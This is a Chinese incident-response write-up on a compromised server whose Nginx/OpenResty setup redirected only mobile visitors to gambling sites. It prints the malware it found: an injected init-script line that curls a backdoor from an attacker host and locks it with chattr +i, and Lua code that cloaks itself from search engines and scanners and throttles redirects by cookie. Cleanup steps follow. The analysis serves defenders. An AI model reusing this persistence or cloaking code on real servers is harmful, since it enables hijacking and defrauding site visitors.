一次真实服务器失陷事件:从手机访问异常跳转,到挖出隐藏在 Nginx 中的 Lua 后门

前言

最近,在一次服务器应急响应过程中,我们遇到了一起非常典型、但又极具迷惑性的攻击案例。客户反馈的问题十分简单:网站电脑访问一切正常,但使用手机访问时,会自动跳转到一些陌生页面,而且刷新后又恢复正常。由于现象并不稳定,因此问题长期没有被发现。

起初,大家都认为可能是 CDN 缓存、浏览器缓存或者运营商劫持导致的问题,但随着排查的不断深入,一条隐藏在 Nginx 之中的攻击链逐渐浮出水面。最终,我们不仅发现了一套基于 OpenResty Lua 实现的 SEO 跳转木马,还定位到了攻击者建立的持久化机制,甚至确认攻击者已经获得了服务器 Root 权限。

更令人警惕的是,这种攻击已经不再是传统的一句话 WebShell,而是一套具备自动更新、文件保护、流量变现和长期驻留能力的完整攻击体系。

一、异常现象:为什么只有手机访问会跳转?

最初收到用户反馈时,现象显得十分奇怪。电脑浏览器访问网站一切正常,页面内容、功能和响应速度都没有任何异常,但是 Android 手机和 iPhone 在访问网站时,却会随机跳转到第三方页面。有时第一次访问会跳转,刷新之后又恢复正常,几个小时之后再次访问又会重新出现。

更加奇怪的是,网站管理员自己使用电脑访问始终无法复现问题,搜索引擎似乎也没有发现异常,这导致问题长期被误认为是用户浏览器或者网络环境的问题。

根据以往的应急经验,这种"PC 正常、手机跳转、随机触发、刷新恢复"的现象,与典型的 SEO 流量劫持木马高度相似,因此排查方向很快集中到了 Nginx 和 OpenResty Lua 模块上。

为了验证现象,我们首先使用 curl 命令模拟手机设备访问服务器:

bash

复制代码
curl -A "Mozilla/5.0 (iPhone)" -I http://x.x.x.x

服务器返回结果如下:

text

复制代码
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 17 Jun 2026 10:42:02 GMT
Content-Type: application/json; charset=utf-8
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: k=360890;Path=/;Max-Age=43200
Set-Cookie: PHPSESSID=0a7beda70a0bc5887370e451a12bb397; expires=Thu, 18-Jun-2026 10:42:02 GMT; Max-Age=86400; path=/

这里有一个极其关键的细节:服务器返回的状态码是 200 OK ,而非 302 重定向。但响应头中却写入了一个名为 k=360890 的 Cookie,有效期设置为 43200 秒(即 12 小时)

这个细节表明,攻击者并不是简单粗暴地直接跳转,而是设计了一套基于 Cookie 的频率控制系统------用户第一次访问时先"埋点",第二次或 12 小时之后才真正触发跳转。这使得异常行为变得更加隐蔽。

二、第一次发现异常:一个无法删除的 ngxd.lua 文件

在检查 Nginx 的 Lua 目录时,一个名为 ngxd.lua 的文件引起了注意。这个文件位于 /www/server/nginx/lib/lua/ 目录下,看起来与正常的 OpenResty 模块十分相似。

查看该文件:

ls -la /www/server/nginx/lib/lua/

当尝试删除它时,却始终提示权限不足:

rm /www/server/nginx/lib/lua/ngxd.lua

rm: cannot remove 'ngxd.lua': Permission denied

进一步查看文件属性后发现,该文件被设置了 immutable(不可变) 属性:

复制代码
lsattr /www/server/nginx/lib/lua/ngxd.lua
# ----i-----------

i 属性是 Linux 文件系统中的不可修改标志。即使拥有 Root 权限,只要没有先执行 chattr -i 解除该属性,文件依然无法被删除、修改或重命名。这说明攻击者显然不希望自己的组件被轻易清理。

解除 immutable 属性之后,文件终于能够被成功删除:

复制代码
chattr -i /www/server/nginx/lib/lua/ngxd.lua
rm -f /www/server/nginx/lib/lua/ngxd.lua

然而,当重新启动 Nginx 服务后,这个文件竟然又重新出现了:

复制代码
systemctl restart nginx
ls -la /www/server/nginx/lib/lua/
# ngxd.lua 再次出现

至此,一个非常重要的事实已经可以确定:系统内部存在持久化机制,攻击者已经不再依赖简单的文件驻留,而是建立了自动恢复能力。

三、顺藤摸瓜:Nginx 启动脚本已经被植入后门

继续分析 systemd 服务配置,查看 Nginx 服务的启动脚本指向:

复制代码
systemctl cat nginx

输出结果显示,Nginx 服务实际上调用的是 /etc/rc.d/init.d/nginx 启动脚本。这个路径是传统的 SysV init 脚本位置,在 CentOS 7 及之后版本中虽然被 systemd 取代,但依然被广泛使用。

查看启动脚本内容,重点检查前 120 行:

复制代码
sed -n '1,120p' /etc/rc.d/init.d/nginx

原本看似普通的启动脚本,在仔细检查之后,却出现了以下一段十分可疑的代码:

复制代码
# 在 nginx 启动脚本中被恶意插入的代码
DIR="/www/server/nginx/lib/lua/ngxd.lua"
curl -m 5 -k https://www.8xx.com/ngxd.lua -o "$DIR"
chattr +i "$DIR"

这段代码的逻辑非常清晰:

  1. 定义变量 DIR,指向 Lua 库目录下的 ngxd.lua 文件路径

  2. 使用 curl 从远程服务器www.8xx.com下载恶意 Lua 文件,-m 5 设置超时 5 秒,-k 忽略 SSL 证书校验

  3. 使用 chattr +i 重新设置 immutable 属性,防止文件被删除

与此同时,启动脚本中还被注入了 Lua 配置片段:

复制代码
rewrite_by_lua_block {
    local diversion = require "ngxd"
    diversion.process_request()
}

这段 Lua 代码在 Nginx 的 rewrite 阶段被执行,它会加载 ngxd 模块(即刚刚下载的 ngxd.lua 文件),并调用其中的 process_request 方法。

也就是说,每次 Nginx 启动时,系统会:

  1. 从远程服务器下载最新的后门文件

  2. 锁定文件防止删除

  3. 加载后门模块到 Nginx 运行时

至此,攻击链已经逐渐清晰。攻击者通过篡改系统启动脚本,将后门文件的生命周期与 Nginx 服务绑定在一起,实现了自动更新和长期驻留能力。这种方式远比传统 WebShell 更加隐蔽,也更难被彻底清除。

四、真正负责跳转的,并不是 ngxd.lua

按理说,删除后门文件并清理启动脚本之后,网站应该能够恢复正常。然而实际情况却并非如此。即使 ngxd.lua 已经被删除,手机访问网站依然会发生跳转。

这意味着,真正负责流量劫持的代码并不在 ngxd.lua 之中。

继续搜索整个服务器上的 Lua 文件,查找 ngx.redirect 这个核心跳转 API 的调用:

复制代码
grep -R "ngx.redirect" /www/server

搜索结果中,一个名为 waf.lua 的文件进入了视野:

复制代码
/www/server/nginx/html/waf.lua

查看该文件内容:

复制代码
cat /www/server/nginx/html/waf.lua

通过分析代码,很快便发现其中存在 ngx.redirect(target, 302) 的调用,而这正是实现 HTTP 302 跳转的核心逻辑。

至此,我们终于找到了真正的跳转模块。

五、一个隐藏极深的手机 SEO 木马(完整代码分析)

进一步分析 waf.lua 的代码后,不得不感叹攻击者设计的成熟程度。以下是该文件的核心完整代码及逐段分析:

5.1 模块初始化与 User-Agent 获取

复制代码
local ua = ngx.var.http_user_agent or ""
local ua_lc = string.lower(ua)

首先从 Nginx 变量中获取客户端的 User-Agent 请求头,如果不存在则默认为空字符串,然后将其转换为小写以便后续匹配。

5.2 手机设备指纹识别

复制代码
-- 仅识别 Android 和 iPhone 设备
local is_android = string.find(ua_lc, "android")
local is_iphone = string.find(ua_lc, "iphone")

if not (is_android or is_iphone) then
    return  -- 非手机设备直接放行
end

攻击者只针对 Android 和 iPhone 用户执行跳转逻辑,PC 用户永远不会受到影响。这也是管理员长期无法复现问题的重要原因------他们通常使用电脑进行测试。

5.3 搜索引擎与安全平台规避

复制代码
-- 搜索引擎和安全扫描器 User-Agent 黑名单
local bots = {
    "baiduspider",
    "360spider",
    "sogouspider",
    "shenmaspider",
    "fofa",
    "quake",
    "hunter",
    "zoomeye"
}

for _, bot in ipairs(bots) do
    if string.find(ua_lc, bot) then
        ngx.exit(ngx.HTTP_FORBIDDEN)  -- 返回 403 Forbidden
    end
end

代码中专门针对百度、360、搜狗、神马等搜索引擎蜘蛛,以及 FOFA、Quake、ZoomEye、Hunter 等网络空间测绘平台进行了识别。一旦发现这些 User-Agent,程序便直接返回 403 Forbidden,从而避免自身暴露给搜索引擎和安全研究人员。

复制代码
-- 获取客户端 Cookie 中的 k 值
local cookie_k = ngx.var.cookie_k
local now = os.date("%y%m%d")  -- 格式:YYMMDD,如 260617

-- 如果 Cookie 中的 k 值与当前日期相同,说明 12 小时内已触发过
if cookie_k == now then
    return  -- 本次放行,不跳转
end

-- 否则设置 Cookie,12 小时后过期
ngx.header["Set-Cookie"] = "k=" .. now .. ";Path=/;Max-Age=43200"

这段代码实现了一个精妙的频率控制系统:

  • 用户第一次访问时,服务器不下发跳转,而是写入一个 k=YYMMDD 格式的 Cookie

  • 当用户再次访问时,如果 Cookie 中的日期与当前日期一致,则直接放行

  • 当 12 小时后 Cookie 过期,用户再次访问时会重新触发跳转逻辑

这也就完美解释了为什么用户反馈"有时跳转、刷新后恢复正常、过段时间又再次出现"的奇怪现象。

5.5 跳转目标域名生成

lua

复制代码
-- 真实的跳转域名(经过字符串反转混淆)
-- 反转后得到:test.com 和 test1.com
local domains = {"test.com", "test1.com"}

-- 生成随机三级子域名
local function random_subdomain()
    local chars = "abcdefghijklmnopqrstuvwxyz0123456789"
    local result = ""
    for i = 1, 8 do
        local rand_index = math.random(1, #chars)
        result = result .. string.sub(chars, rand_index, rand_index)
    end
    return result
end

-- 随机选择一个主域名,拼接随机子域名
local target = "https://" .. random_subdomain() .. "." .. domains[math.random(#domains)] .. "/news.html"

-- 执行 302 跳转
return ngx.redirect(target, 302)

攻击者并没有在代码中直接写死跳转域名,而是采用:

  1. 字符串反转存储真实域名(实际代码中域名以反转形式存在)

  2. 随机三级子域名 动态生成,例如 abc12345.test.com

  3. 轮换使用多个主域名

这些手段增加了 IOC 提取和域名封禁的难度,使得传统的黑名单封堵策略难以生效。

六、完整攻击链终于浮出水面

继续分析 Nginx 配置文件,最终定位到了 waf.lua 的调用入口:

复制代码
grep -R "waf.lua" /www/server

结果指向了 /www/server/nginx/conf/proxy.conf

复制代码
access_by_lua_file /www/server/nginx/html/waf.lua;

这条配置的含义是:在 Nginx 的 access 阶段(即权限验证阶段),执行指定的 Lua 脚本文件。这意味着每一个进入 Nginx 的请求,都会经过 waf.lua 的逻辑处理。

完整的攻击调用链

复制代码
客户端请求
    ↓
Nginx 接收请求
    ↓
读取 nginx.conf(主配置)
    ↓
包含 proxy.conf(代理配置)
    ↓
执行 access_by_lua_file
    ↓
加载 /www/server/nginx/html/waf.lua
    ↓
判断 User-Agent(手机?搜索引擎?)
    ↓
手机用户 → Cookie 检查
    ├── 无 Cookie 或 Cookie 过期 → 下发 Cookie → 302 跳转至博彩站点
    └── Cookie 有效 → 放行
    ↓
搜索引擎/安全扫描器 → 返回 403 Forbidden

而另一条持久化链路则独立运作:

复制代码
管理员执行 systemctl restart nginx
    ↓
systemd 调用 /etc/rc.d/init.d/nginx
    ↓
启动脚本中插入的恶意代码被执行
    ↓
curl 从 https://xx.xx.xx/ngxd.lua 下载后门
    ↓
chattr +i 锁定文件
    ↓
注入 rewrite_by_lua_block 配置
    ↓
Nginx 启动,ngxd.lua 被加载

两条链路形成闭环:

  • 流量劫持链路:负责实时检测和跳转

  • 持久化链路:负责自我修复和更新

当管理员试图删除后门时,被篡改的启动脚本会自动从远程服务器下载新的组件并恢复配置,从而形成一个自我修复、自我更新的闭环。这种攻击模式已经远远超出了传统 WebShell 的范畴,更像是一套具备长期运营能力的流量变现平台。

七、清除流程

7.1 断开外部网络(可选但建议)

为了防止在清理过程中后门再次从远程服务器下载,可以暂时断开服务器的外网访问,或在防火墙上封禁恶意域名:

复制代码
echo "127.0.0.1 www.8xx.com" >> /etc/hosts
iptables -I OUTPUT -d www.8xx.com -j DROP

7.2 停止 Nginx 服务

复制代码
systemctl stop nginx

7.3 清理启动脚本中的恶意代码

编辑 /etc/rc.d/init.d/nginx

复制代码
vi /etc/rc.d/init.d/nginx

删除以下恶意代码块:

复制代码
# 删除这部分(远程下载 ngxd.lua)
DIR="/www/server/nginx/lib/lua/ngxd.lua"
curl -m 5 -k https://www.8xx.com/ngxd.lua -o "$DIR"
chattr +i "$DIR"

同时删除 Lua 注入部分:

复制代码
# 删除这部分
rewrite_by_lua_block {
    local diversion = require "ngxd"
    diversion.process_request()
}

7.4 清理 Nginx 配置文件中的 Lua 调用

编辑 /www/server/nginx/conf/proxy.conf

复制代码
vi /www/server/nginx/conf/proxy.conf

注释或删除以下行:

复制代码
# access_by_lua_file /www/server/nginx/html/waf.lua;

7.5 删除恶意 Lua 文件

复制代码
# 解除 immutable 属性并删除 ngxd.lua
chattr -i /www/server/nginx/lib/lua/ngxd.lua 2>/dev/null
rm -f /www/server/nginx/lib/lua/ngxd.lua

# 删除 waf.lua 及其备份文件
rm -f /www/server/nginx/html/waf.lua
rm -f /www/server/nginx/html/waf.lua.bak

# 检查是否有其他可疑 Lua 文件(最近 30 天修改的)
find /www/server/nginx -name "*.lua" -mtime -30 -ls

7.6 检查并清理其他 Lua 相关异常配置

查看 Nginx 当前加载的所有配置中是否还有 Lua 相关项:

复制代码
nginx -T 2>&1 | grep -E "lua_package_path|access_by_lua|rewrite_by_lua|set_by_lua|content_by_lua"

如果发现异常的 Lua 配置,逐一清理。

7.7 验证配置并重启

复制代码
# 测试 Nginx 配置语法
nginx -t

# 如果语法正确,启动 Nginx
systemctl start nginx

# 验证是否还有跳转
curl -A "Mozilla/5.0 (iPhone)" -v http://your-domain.com 2>&1 | grep -E "HTTP/|Location"

八、真正值得警惕的,并不是跳转本身

事实上,手机跳转只是攻击者利用服务器进行流量变现的一种方式,而并非问题的根源。

能够修改 /etc/rc.d/init.d/nginx,意味着攻击者已经具备 Root 权限。而一旦 Root 权限失陷,就意味着系统可能还存在 WebShell、SSH 弱口令、Redis 未授权访问、计划任务、提权漏洞或者其他隐藏的持久化机制。

换句话说,跳转只是冰山露出水面的部分,而隐藏在水面之下的,才是真正需要关注的问题。

很多管理员在删除几个文件之后便认为问题已经解决,但实际上,如果没有找到攻击者最初的入侵入口,没有完成系统级的全面排查和重建,那么攻击者随时可能再次回来。

后续必须执行的排查清单

排查项 具体操作
SSH 安全审计 检查 /var/log/secure,查看异常登录 IP;检查 ~/.ssh/authorized_keys 是否有异常公钥
系统用户审查 grep :0: /etc/passwd 检查是否有异常 UID 0 用户;lastlog 查看所有用户最近登录
计划任务排查 crontab -l;检查 /var/spool/cron//etc/cron.d/ 目录下的所有 crontab 文件
WebShell 扫描 使用河马查杀或 `find /www -name "*.php" -mtime -30 -exec grep -l "eval
宝塔面板安全 升级到最新版本,修改面板端口、安全入口,开启 BasicAuth 认证
Redis 安全检查 检查是否配置了密码认证和绑定内网 IP,排查未授权访问漏洞
MySQL UDF 提权检查 SELECT * FROM mysql.func; 检查是否有恶意自定义函数
系统文件完整性 rpm -Va 检查被修改的系统文件
网络连接审查 netstat -antp 查看是否有异常外部连接
历史命令审计 .bash_history 查看攻击者执行过的命令

写在最后

这次应急事件给人的最大感受是,攻击者的技术手段正在不断演进。从最初简单的一句话木马,到如今利用 OpenResty、Lua 动态脚本、自动更新和流量变现构建长期驻留能力,攻击已经变得越来越隐蔽,也越来越复杂。